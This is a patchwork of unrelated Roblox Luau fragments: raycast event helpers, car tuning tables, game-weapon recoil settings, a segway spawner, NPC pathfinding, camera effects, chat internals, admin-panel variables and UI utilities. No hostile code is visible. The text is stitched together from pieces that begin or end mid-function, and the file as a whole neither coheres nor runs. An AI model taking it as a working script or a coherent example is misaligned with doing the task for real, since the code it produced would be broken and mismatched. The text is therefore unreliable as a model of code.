segmentVelocity: Vector3, cosmeticBulletObject: Instance?) if not resultOfCast.Instance:IsDescendantOf(workspace.Filter) then cast.Caster.RayHit:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject) end end local function SendRayPierced(cast: ActiveCast, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?) --cast.RayPierced:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject) cast.Caster.RayPierced:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject) end local function SendLengthChanged(cast: ActiveCast, lastPoint: Vector3, rayDir: Vector3, rayDisplacement: number, segmentVelocity: Vector3, cosmeticBulletObject: Instance?) --cast.LengthChanged:Fire(cast, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject) cast.Caster.LengthChanged:Fire(cast, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject) end
--Made by Superluck, Uploaded by FederalSignal_QCB. --Made by Superluck, Uploaded by FederalSignal_QCB. --Made by Superluck, Uploaded by FederalSignal_QCB.
wait(1) while true do script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.PlaybackSpeed = script.Parent.PlaybackSpeed script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.Volume = (script.Parent.Volume*2)*4 script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.EmitterSize = script.Parent.EmitterSize*506 script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.SoundId = script.Parent.SoundId script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.Playing = script.Parent.Playing script.Parent.Parent.Parent.Main.SoundBlock.Value.Sound.DistortionSoundEffect.Level = (script.Parent.Volume*5) wait() end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = true --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 230 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 370 , spInc = 40 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 400 , spInc = 40 , -- Increment between labelled notches } }
---------------------------------------------------------------------------------------------------- ------------------=[ Status UI ]=------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableStatusUI = true --- Don't disabled it... ,RunWalkSpeed = 24 ,NormalWalkSpeed = 12 ,SlowPaceWalkSpeed = 6 ,CrouchWalkSpeed = 6 ,ProneWalksSpeed = 3 ,InjuredWalksSpeed = 8 ,InjuredCrouchWalkSpeed = 4 ,EnableHunger = false --- Hunger and Thirst system (Removed) ,HungerWaitTime = 25 ,CanDrown = true --- Glub glub glub *ded* ,EnableStamina = true --- Weapon Sway based on stamina (Unused) ,RunValue = 1 --- Stamina consumption ,StandRecover = .25 --- Stamina recovery while stading ,CrouchRecover = .5 --- Stamina recovery while crouching ,ProneRecover = 1 --- Stamina recovery while lying ,EnableGPS = false --- GPS shows your allies around you ,GPSdistance = 0 ,InteractionMenuKey = Enum.KeyCode.LeftAlt ,BuildingEnabled = false ,BuildingKey = Enum.KeyCode.RightAlt
-- Create base segway to clone from
local SegID = 581150091 local Segway = require(SegID) local function Get_des(instance, func) func(instance) for _, child in next, instance:GetChildren() do Get_des(child, func) end end Functions.PlaySound = function(Sound,Pitch,Volume) if Sound and Sound.Parent.Name == "Seat" then Sound.Pitch = Pitch Sound.Volume = Volume Sound:Play() end end Functions.StopSound = function(Sound,Volume) if Sound and Sound.Parent.Name == "Seat" then Sound.Volume = Volume Sound:Stop() end end Functions.ChangeSound = function(Sound,Pitch,Volume,ShouldPitch,ShouldVolume) if Sound and Sound.Parent.Name == "Seat" then if ShouldPitch == true then Sound.Pitch = Pitch end if ShouldVolume == true then Sound.Volume = Volume end end end Functions.AnchorPart = function(Part,Anchored) if Part and Part:IsA("BasePart") and Part.Name == "Seat" then Part.Anchored = Anchored end end Functions.UndoTags = function(SegwayObject,WeldObject,TiltMotor) WeldObject.Value = nil TiltMotor.Value = nil SegwayObject.Value = nil end Functions.UndoHasWelded = function(SeaterObject) if SeaterObject.Value and SeaterObject.Value.Parent then SeaterObject.Value.Parent.HasWelded.Value = false SeaterObject.Value = nil end end Functions.TiltMotor = function(Motor,Angle) if Motor and Motor.Name == "TiltMotor" then Motor.DesiredAngle = Angle end end Functions.DeleteWelds = function(Part) if Part and Part:IsA("BasePart") and Part.Name == "Seat" then for _,v in pairs(Part:GetChildren()) do if v:IsA("Motor6D") then v:Destroy() end end end end Functions.ConfigHumanoid = function(Character,Humanoid,PlatformStand,Jump,AutoRotate) if Humanoid and Humanoid.Parent == Character then Humanoid.AutoRotate = AutoRotate Humanoid.PlatformStand = PlatformStand Humanoid.Jump = Jump Get_des(Character,function(d) if d and d:IsA("CFrameValue") and d.Name == "KeptCFrame" then d.Parent.C0 = d.Value d:Destroy() end end) end end Functions.ConfigLights = function(Transparency,Color,Bool,Material,Lights,Notifiers) if Lights and Notifiers then for _,v in pairs(Lights:GetChildren()) do if v:IsA("BasePart") and v:FindFirstChild("SpotLight") and v:FindFirstChild("Glare") then v.BrickColor = BrickColor.new(Color) v.Transparency = Transparency v:FindFirstChild("SpotLight").Enabled = Bool v.Material = Material end end for _,v in pairs(Notifiers:GetChildren()) do if v:IsA("BasePart") and v:FindFirstChild("SurfaceGui") then v:FindFirstChild("SurfaceGui").ImageLabel.Visible = Bool end end end end Functions.ColorSegway = function(Model,Color) for i=1, #Wings do for _,v in pairs(Model[Wings[i]]:GetChildren()) do if v.Name == "Base" or v.Name == "Cover" then v.BrickColor = Color end end end end Functions.DestroySegway = function(Character,SpawnedSegway) if SpawnedSegway:IsA("ObjectValue") and SpawnedSegway.Value and SpawnedSegway.Value:FindFirstChild("SegPlatform") then SpawnedSegway.Value:Destroy() end end Functions.SpawnSegway = function(Player,Character,Tool,SpawnedSegway,Color) if Character and not Character:FindFirstChild(Segway.Name) and Tool.Parent == Character then local NewSegway = Segway:Clone() -- Define head local Head = Character:WaitForChild("Head") -- Get the head's rotation matrix local p,p,p,xx,xy,xz,yx,yy,yz,zx,zy,zz = Head.CFrame:components() -- Get the position in front of player local SpawnPos = Head.Position + (Head.CFrame.lookVector*4) ToolStatus.Thruster.Value = NewSegway:WaitForChild("Wheels"):WaitForChild("Thruster") -- Apply the settings called from the client NewSegway:WaitForChild("Creator").Value = Player NewSegway:WaitForChild("MyTool").Value = Tool SpawnedSegway.Value = NewSegway -- Colors the segway Functions.ColorSegway(NewSegway,Color) -- Parent segway into the player's character NewSegway.Parent = Character NewSegway:MakeJoints() -- Position segway NewSegway:SetPrimaryPartCFrame(CFrame.new(0,0,0,xx,xy,xz,yx,yy,yz,zx,zy,zz)*CFrame.Angles(0,math.rad(180),0)) -- Rotate segway properly NewSegway:MoveTo(SpawnPos) end end Functions.ConfigTool = function(Transparency,Tool,ShouldColor,Color) if Tool == ThisTool then for _,v in pairs(Tool:GetChildren()) do if v:IsA("BasePart") and ShouldColor == false then v.Transparency = Transparency elseif ShouldColor == true and v:IsA("BasePart") and v.Name == "ColorablePart" then v.BrickColor = Color end end end end return Functions
-------------------------------------------
local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(-0.4, 1.25, 0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),-0.25,0) --Right leg arms[2].Name = "RDave" arms[2].CanCollide = true welds[2] = weld2
-- script
RunService.RenderStepped:Connect(function() local currentTime = tick() if humanoid.MoveDirection.Magnitude > 0 then -- we are walking local bobbleX = math.cos(currentTime * 10) * .15 local bobbleY = math.abs(math.sin(currentTime * 10)) * .30 local bobble = Vector3.new(bobbleX, bobbleY, 0) humanoid.CameraOffset = humanoid.CameraOffset:lerp(bobble, .25) else -- we are not walking local t = tick() local x = math.cos(t * speed) * intensity local y = math.sin(t * speed) * intensity local cf = CFrame.new(Vector3.new(x, y, 0), Vector3.new(x*0.95, y*0.95, -10)) + camera.CFrame.Position camera.CFrame = camera.CFrame:Lerp(cf * camera.CFrame.Rotation, smoothness) end end)
--[[ Notes: Transparency Modifier is what is the end result when "zooming in", it can be changed to whatever you like. Camera Offset is changed to allow the player to see at lower angles without clipping the view with the torso. This may or maynot effect certian tools if they change the players camera position IE crouching or crawling. Use: Place into StarterPlayer.StarterChacterScripts --]]
local character = (game.Players.LocalPlayer.Character or game.Players.LocalPlayer.CharacterAdded:wait()) game:GetService("RunService").RenderStepped:connect(function() if (character:FindFirstChild("RightUpperArm") and character:FindFirstChild("LeftUpperArm")) then
-- no touchy
local path local waypoint local oldpoints local isWandering = 0 if canWander then spawn(function() while isWandering == 0 do isWandering = 1 local desgx, desgz = hroot.Position.x + math.random(-WanderX, WanderX), hroot.Position.z + math.random(-WanderZ, WanderZ) human:MoveTo( Vector3.new(desgx, 0, desgz) ) wait(math.random(4, 6)) isWandering = 0 end end) end while wait() do local enemybody = Getbody(hroot.Position) if enemybody ~= nil then -- if player detected isWandering = 1 local function checkw(t) local ci = 3 if ci > #t then ci = 3 end if t[ci] == nil and ci < #t then repeat ci = ci + 1 wait() until t[ci] ~= nil return Vector3.new(1, 0, 0) + t[ci] else ci = 3 return t[ci] end end path = pfs:FindPathAsync(hroot.Position, enemybody.Position) waypoint = path:GetWaypoints() oldpoints = waypoint local connection; local direct = Vector3.FromNormalId(Enum.NormalId.Front) local ncf = hroot.CFrame * CFrame.new(direct) direct = ncf.p.unit local rootr = Ray.new(hroot.Position, direct) local phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot) if path and waypoint or checkw(waypoint) then if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then human:MoveTo( checkw(waypoint).Position ) human.Jump = false end -- CANNOT LET BALDI JUMPS -- --[[if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then human.Jump = true connection = human.Changed:connect(function() human.Jump = true end) human:MoveTo( checkw(waypoint).Position ) else human.Jump = false end]] --[[hroot.Touched:connect(function(p) local bodypartnames = GetPlayersbodyParts(enemybody) if p:IsA'Part' and not p.Name == bodypartnames and phit and phit.Name ~= bodypartnames and phit:IsA'Part' and rootr:Distance(phit.Position) < 5 then connection = human.Changed:connect(function() human.Jump = true end) else human.Jump = false end end)]] else for i = 3, #oldpoints do human:MoveTo( oldpoints[i].Position ) end end elseif enemybody == nil and canWander then -- if player not detected isWandering = 0 path = nil waypoint = nil human.MoveToFinished:Wait() end end
-- Fonction pour basculer la visibilité et le mouvement du curseur de la souris
local function toggleMouseVisibilityAndMovement() isMouseVisible = not isMouseVisible if isMouseVisible then Mouse.Icon = defaultMouseIcon player.Character.Humanoid.AutoRotate = true else Mouse.Icon = "" player.Character.Humanoid.AutoRotate = false end end
--///////////////// Internal-Use Methods --//////////////////////////////////////
function methods:InternalDestroy() for i, channel in pairs(self.Channels) do channel:InternalRemoveSpeaker(self) end self.eDestroyed:Fire() self.EventFolder = nil self.eDestroyed:Destroy() self.eSaidMessage:Destroy() self.eReceivedMessage:Destroy() self.eReceivedUnfilteredMessage:Destroy() self.eMessageDoneFiltering:Destroy() self.eReceivedSystemMessage:Destroy() self.eChannelJoined:Destroy() self.eChannelLeft:Destroy() self.eMuted:Destroy() self.eUnmuted:Destroy() self.eExtraDataUpdated:Destroy() self.eMainChannelSet:Destroy() self.eChannelNameColorUpdated:Destroy() end function methods:InternalAssignPlayerObject(playerObj) self.PlayerObj = playerObj end function methods:InternalAssignEventFolder(eventFolder) self.EventFolder = eventFolder end function methods:InternalSendMessage(messageObj, channelName) local success, err = pcall(function() self:LazyFire("eReceivedUnfilteredMessage", messageObj, channelName) self.EventFolder.OnNewMessage:FireClient(self.PlayerObj, messageObj, channelName) end) if not success and err then print("Error sending internal message: " ..err) end end function methods:InternalSendFilteredMessage(messageObj, channelName) local success, err = pcall(function() self:LazyFire("eReceivedMessage", messageObj, channelName) self:LazyFire("eMessageDoneFiltering", messageObj, channelName) self.EventFolder.OnMessageDoneFiltering:FireClient(self.PlayerObj, messageObj, channelName) end) if not success and err then print("Error sending internal filtered message: " ..err) end end
-- Local private variables and constants
local ZERO_VECTOR2 = Vector2.new(0,0) local tweenAcceleration = math.rad(220) -- Radians/Second^2 local tweenSpeed = math.rad(0) -- Radians/Second local tweenMaxSpeed = math.rad(250) -- Radians/Second local TIME_BEFORE_AUTO_ROTATE = 2 -- Seconds, used when auto-aligning camera with vehicles local INITIAL_CAMERA_ANGLE = CFrame.fromOrientation(math.rad(-15), 0, 0) local ZOOM_SENSITIVITY_CURVATURE = 0.5 local FIRST_PERSON_DISTANCE_MIN = 0.5
-- ROBLOX deviation END
export type ReporterOnStartOptions = { estimatedTime: number, showStatus: boolean } export type Context = { config: Config_ProjectConfig, hasteFS: HasteFS, moduleMap: ModuleMap, resolver: Resolver, } export type Test = { context: Context, duration: number?, path: Config_Path } export type CoverageWorker = { worker: worker } export type CoverageReporterOptions = { changedFiles: Set<Config_Path>?, sourcesRelatedToTestsInChangedFiles: Set<Config_Path>?, } export type CoverageReporterSerializedOptions = { changedFiles: Array<Config_Path>?, sourcesRelatedToTestsInChangedFiles: Array<Config_Path>?, } export type OnTestStart = (test: Test) -> Promise<void> export type OnTestFailure = (test: Test, error_: SerializableError) -> Promise<unknown> export type OnTestSuccess = (test: Test, result: TestResult) -> Promise<unknown> export type Reporter = { onTestResult: (( self: Reporter, test: Test, testResult: TestResult, aggregatedResult: AggregatedResult ) -> Promise<void> | void)?, onTestFileResult: (( self: Reporter, test: Test, testResult: TestResult, aggregatedResult: AggregatedResult ) -> Promise<void> | void)?, onTestCaseResult: ((self: Reporter, test: Test, testCaseResult: TestCaseResult) -> Promise<void> | void)?, onRunStart: (self: Reporter, results: AggregatedResult, options: ReporterOnStartOptions) -> Promise<void> | void, onTestStart: ((self: Reporter, test: Test) -> Promise<void> | void)?, onTestFileStart: ((self: Reporter, test: Test) -> Promise<void> | void)?, onRunComplete: (self: Reporter, contexts: Set<Context>, results: AggregatedResult) -> Promise<void> | void, getLastError: (self: Reporter) -> Error | void, } export type SummaryOptions = { currentTestCases: Array<{ test: Test, testCaseResult: TestCaseResult }>?, estimatedTime: number?, roundTime: boolean?, width: number?, } export type TestRunnerOptions = { serial: boolean } export type TestRunData = Array<{ context: Context, matches: { allTests: number, tests: Array<Test>, total: number }, }> export type TestSchedulerContext = { firstRun: boolean, previousSuccess: boolean, changedFiles: Set<Config_Path>?, } return exports
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {16,20} --- Vertical Recoil ,HRecoil = {9,11} --- Horizontal Recoil ,AimRecover = .75 ---- Between 0 & 1 ,RecoilPunch = .2 ,VPunchBase = 3.5 --- Vertical Punch ,HPunchBase = 1.25 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .25 ,MaxRecoilPower = 3 ,RecoilPowerStepAmount = .5 ,MinSpread = 5 --- Min bullet spread value | Studs ,MaxSpread = 35 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 0.75 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1 --- Max sway value based on player stamina | Studs
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
head.ChildAdded:connect(function(c) if c.Name == "Sound" then c.Ended:connect(function() if sdb == true then soundplaying = nil nameobj = nil c:remove() wait(MutterDelay) sdb = false end end) end end)
--[[ BaseCharacterController - Abstract base class for character controllers, not intended to be directly instantiated. 2018 PlayerScripts Update - AllYourBlox --]]
local ZERO_VECTOR3 = Vector3.new(0,0,0)
--[[Weight and CG]]
Tune.Weight = 3100 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- << VARIABLES >>
local frame = main.gui.MainFrame.Pages.Admin local buyFrame = main.warnings.BuyFrame local unBan = main.warnings.UnBan local pages = { ranks = frame.Ranks; serverRanks = frame["Server Ranks"], banland = frame.Banland; } local templates = { rankTitle = pages.ranks.TemplateRankTitle; rankItem = pages.ranks.TemplateRankItem; space = pages.ranks.TemplateSpace; admin = pages.serverRanks.TemplateAdmin; ban = pages.banland.TemplateBan; banTitle = pages.banland.TemplateTitle } local otherPermissions = { {"friends", main.ownerName.."'s Friends", "For friends of the Owner"}; {"freeadmin", "Free Admin", "For everyone"}; {"vipserverowner", "VIP Server Owner", "For VIP Server owners"}; {"vipserverplayer", "VIP Server Player", "For VIP Server players"}; }
-- made by ROBLOX FOR SURE
end script.Parent.Activated:connect(onActivated)
--[=[ @private @class Utils ]=]
local Utils = {} local function errorOnIndex(_, index) error(("Bad index %q"):format(tostring(index)), 2) end local READ_ONLY_METATABLE = { __index = errorOnIndex; __newindex = errorOnIndex; } function Utils.readonly(_table) return setmetatable(_table, READ_ONLY_METATABLE) end function Utils.copyTable(target) local new = {} for key, value in pairs(target) do new[key] = value end return new end function Utils.count(_table) local count = 0 for _, _ in pairs(_table) do count = count + 1 end return count end function Utils.getOrCreateValue(parent, instanceType, name, defaultValue) assert(typeof(parent) == "Instance", "Bad argument 'parent'") assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") local foundChild = parent:FindFirstChild(name) if foundChild then if not foundChild:IsA(instanceType) then warn(("[Utils.getOrCreateValue] - Value of type %q of name %q is of type %q in %s instead") :format(instanceType, name, foundChild.ClassName, foundChild:GetFullName())) end return foundChild else local newChild = Instance.new(instanceType) newChild.Name = name newChild.Value = defaultValue newChild.Parent = parent return newChild end end function Utils.getValue(parent, instanceType, name, default) assert(typeof(parent) == "Instance", "Bad argument 'parent'") assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") local foundChild = parent:FindFirstChild(name) if foundChild then if foundChild:IsA(instanceType) then return foundChild.Value else warn(("[Utils.getValue] - Value of type %q of name %q is of type %q in %s instead") :format(instanceType, name, foundChild.ClassName, foundChild:GetFullName())) return nil end else return default end end function Utils.setValue(parent, instanceType, name, value) assert(typeof(parent) == "Instance", "Bad argument 'parent'") assert(type(instanceType) == "string", "Bad argument 'instanceType'") assert(type(name) == "string", "Bad argument 'name'") local foundChild = parent:FindFirstChild(name) if foundChild then if not foundChild:IsA(instanceType) then warn(("[Utils.setValue] - Value of type %q of name %q is of type %q in %s instead") :format(instanceType, name, foundChild.ClassName, foundChild:GetFullName())) end foundChild.Value = value else local newChild = Instance.new(instanceType) newChild.Name = name newChild.Value = value newChild.Parent = parent end end function Utils.getOrCreateFolder(parent, folderName) local found = parent:FindFirstChild(folderName) if found then return found else local folder = Instance.new("Folder") folder.Name = folderName folder.Parent = parent return folder end end return Utils
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 9000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward
-- Create component
local Component = Cheer.CreateComponent('BTTooltip', View); local Connections = {}; function Component.Start() -- Hide the view View.Visible = false; -- Show the tooltip on hover Connections.ShowOnEnter = Support.AddGuiInputListener(View.Parent, 'Began', 'MouseMovement', true, Component.Show); Connections.HideOnLeave = Support.AddGuiInputListener(View.Parent, 'Ended', 'MouseMovement', true, Component.Hide); -- Clear connections when the component is removed Component.OnRemove:Connect(ClearConnections); -- Return component for chaining return Component; end; function Component.Show() View.Visible = true; end; function Component.Hide() View.Visible = false; end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:disconnect(); Connections[ConnectionKey] = nil; end; end; return Component.Start();
--Made by Luckymaxer
Figure = script.Parent Humanoid = Figure:WaitForChild("Humanoid") Torso = Figure:WaitForChild("Torso") Creator = Figure:WaitForChild("Creator") PathfindingService = game:GetService("PathfindingService") FollowingPath = false WalkRadius = 15 SuccessDistance = (Torso.Size.Y * 10) MaxDistance = 485 MaximumAttemptTime = 3 Moving = false CurrentWayPoint = nil function RayCast(Position, Direction, MaxDistance, IgnoreList) return game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(Position, Direction.unit * (MaxDistance or 999.999)), IgnoreList) end function Pathfind(StartPoint, TargetPoint, MaxDistance) local Path = PathfindingService:ComputeRawPathAsync(StartPoint, TargetPoint, MaxDistance) if not Path or Path.Status == Enum.PathStatus.FailStartNotEmpty or Path.Status == Enum.PathStatus.FailFinishNotEmpty then return {} end local PathWayPoints = Path:GetPointCoordinates() if not PathWayPoints or #PathWayPoints == 0 then return {} end return PathWayPoints end function GatherWapoints(StartPoint, TargetPoint, MaxDistance) local WayPoints = nil pcall(function() WayPoints = Pathfind(StartPoint, TargetPoint, MaxDistance) end) return WayPoints end function MoveAround(TargetPoint) if FollowingPath then return end FollowingPath = true TargetPoint = ((not TargetPoint and (Torso.Position + Vector3.new(math.random(-WalkRadius, WalkRadius), 0, math.random(-WalkRadius, WalkRadius))) or TargetPoint)) local WayPoints = GatherWapoints(Torso.Position, TargetPoint, MaxDistance) if WayPoints and #WayPoints > 0 then for i, v in pairs(WayPoints) do CurrentWayPoint = v Humanoid:MoveTo(v) local TimeBegan = tick() while ((v - Torso.Position).magnitude > SuccessDistance and (tick() - TimeBegan) < MaximumAttemptTime) do wait(0.1) end if (v - Torso.Position).magnitude < SuccessDistance then WayPoints = GatherWapoints(Torso.Position, TargetPoint, MaxDistance) if WayPoints and #WayPoints > 0 then MoveAround(TargetPoint) end end end CurrentWayPoint = nil end FollowingPath = false end function SecureJump() if Humanoid.Jump then return end local TargetPoint = Humanoid.TargetPoint local GroundBelow, GroundPos if CurrentWayPoint then GroundBelow, GroundPos = RayCast((Torso.CFrame + CFrame.new(Torso.Position, Vector3.new(CurrentWayPoint.X, Torso.Position.Y, CurrentWayPoint.Z)).lookVector * (Torso.Size.Z * 4)).p, Vector3.new(0, -1, 0), (Torso.Size.Y * 4), {Character}) end if CurrentWayPoint and not GroundBelow then Humanoid.TargetPoint = Torso.Position Humanoid:MoveTo(Torso.Position) TimeBegan = MaximumAttemptTime else local Blockage, BlockagePos = RayCast((Torso.CFrame + CFrame.new(Torso.Position, Vector3.new(TargetPoint.X, Torso.Position.Y, TargetPoint.Z)).lookVector * (Torso.Size.Z / 2)).p, Torso.CFrame.lookVector, (Torso.Size.Z * 2.5), {Figure}) if not Humanoid.Jump and (Blockage and not Blockage.Parent:FindFirstChild("Humanoid")) then Humanoid.Jump = true end end end repeat Spawn(function() local CreatorValue = Creator.Value local CreatorCharacter, CreatorTorso if CreatorValue and CreatorValue:IsA("Player") and CreatorValue.Character then CreatorCharacter = CreatorValue.Character CreatorTorso = CreatorCharacter:FindFirstChild("Torso") end MoveAround((CreatorTorso and CreatorTorso.Position) or nil) end) SecureJump() wait(0.01) until false
--First build your Gun, make sure all the parts and Non-Colliding and Not Anchored. --Second put these parts inside the Tool (Call one of the parts 'Handle' and the rest 'Part' --Lastly, make/get your gun script and test it out!
local prev local parts = script.Parent["Parachute"]:GetChildren() for i = 1,#parts do if (parts[i].className == "Part") or (parts[i].className == "VehicleSeat") then if (prev ~= nil)then local weld = Instance.new("Weld") weld.Part0 = prev weld.Part1 = parts[i] weld.C0 = prev.CFrame:inverse() weld.C1 = parts[i].CFrame:inverse() weld.Parent = prev end prev = parts[i] end end
-- Seats
local Seat1 = Swing:WaitForChild("Seat1") local Seat2 = Swing:WaitForChild("Seat2")
-- Public Methods
function RadioButtonLabelClass:GetValue() return self.Button.Circle.Visible end function RadioButtonLabelClass:SetValue(bool) bool = not not bool local container = self.Frame.RadioContainer local colorA = container.BorderColor3 local colorB = container.BackgroundColor3 container.Outline.ImageColor3 = bool and colorA or colorB container.RadioButton.Circle.Visible = bool end function RadioButtonLabelClass:Destroy() self._Maid:Sweep() self.Frame:Destroy() end
-- By Dominical -- Sep 13, 2014 -- Put this script inside of a light source such as a PointLight or SpotLight
while true do script.Parent.Enabled=true wait(math.random(2)) script.Parent.Enabled=false wait(0.1) end
-------------------------------------- -- List of named places in the game
local _places = { lobby = 6976592727, gameplay_development = 6976597627, queue_default = 6976598505, queue_deathmatch = 6976598627, queue_teamDeathmatch = 6976598747, queue_freePlay = 6976598856 }
-- Use the character attribute (updated by the server) as the source of truth for body orientation -- Intended to be used for replicated characters
function OrientableBody:useAttributeAsSource() self:orientFromAttribute() self.attributeConnection = self.character:GetAttributeChangedSignal(ATTRIBUTE):Connect(function() self:orientFromAttribute() end) end function OrientableBody:destroy() self:applyAngle(self.neck, 0, 0) self:applyAngle(self.waist, 0, 0) if self.motor then self.motor:destroy() self.motor = nil end if self.attributeConnection then self.attributeConnection:Disconnect() self.attributeConnection = nil end if self.renderStepConnection then self.renderStepConnection:Disconnect() self.renderStepConnection = nil end end return OrientableBody
--s.Pitch = 0.7 --s.Pitch = 0.7
while true do while s.Pitch<1.21 do s.Pitch=s.Pitch+0.010 s:Play() if s.Pitch>1.21 then s.Pitch=1.21 end wait(0.001) end
--[[Transmission]]
Tune.TransModes = {"Auto"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev) Tune.ShiftTime = .3 -- The time delay in which you initiate a shift and the car changes gear --Gear Ratios Tune.FinalDrive = 0.8 -- [TRANSMISSION CALCULATIONS FOR NERDS] Tune.Ratios = { -- SPEED [SPS] = (Wheel diameter(studs) * math.pi * RPM) / (60 * Gear Ratio * Final Drive * Multiplier) --[[ R ]] 18.641 ,-- WHEEL TORQUE = Engine Torque * Gear Ratio * Final Drive * Multiplier --[[ N ]] 0 , --[[ 1 ]] 16.641 , --[[ 2 ]] 12.342 , --[[ 3 ]] 9.812 , --[[ 4 ]] 7.765 , --[[ 5 ]] 6.272 } Tune.FDMult = 1 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
--[[ Sets the given emote as locked for the given Player. ]]
local function lockEmote(runService, emoteManager, changeEmoteLock) if runService:IsServer() then return function(player: Player, emoteName: string): nil assert(t.string(emoteName)) emoteManager:setEmoteIsLockedForPlayer(player, emoteName, true) end else -- Calling lockEmote from the client is deprecated. To preserve -- backwards compatibility, a remote event is fired to the new server -- side lockEmote function return function(emoteName: string): nil warn("Calling lockEmote from the client is deprecated. Please call from a server Script instead.") changeEmoteLock:FireServer(emoteName, true) end end end return lockEmote
-- if not gameRules.SpawnStacking then -- spawner.CurrentGun.Value = newGun
--[=[ Pseudo localizes text. Useful for verifying translation without having actual translations available @class PseudoLocalize ]=]
local PseudoLocalize = {} local DEFAULT_PSEUDO_LOCALE_ID = "qlp-pls"
-- Class
local DropdownClass = {} DropdownClass.__index = DropdownClass DropdownClass.__type = "Dropdown" function DropdownClass:__tostring() return DropdownClass.__type end
--//Variables
local owner = script.Parent.OwnerName local door = script.Parent local prompt = script.Parent.OpenClose local rentprompt = script.Parent.Rent local Player = game.Players.LocalPlayer local door2 = script.Parent.Parent.Door2
--[[ Intended for use in tests. Similar to await(), but instead of yielding if the promise is unresolved, _unwrap will throw. This indicates an assumption that a promise has resolved. ]]
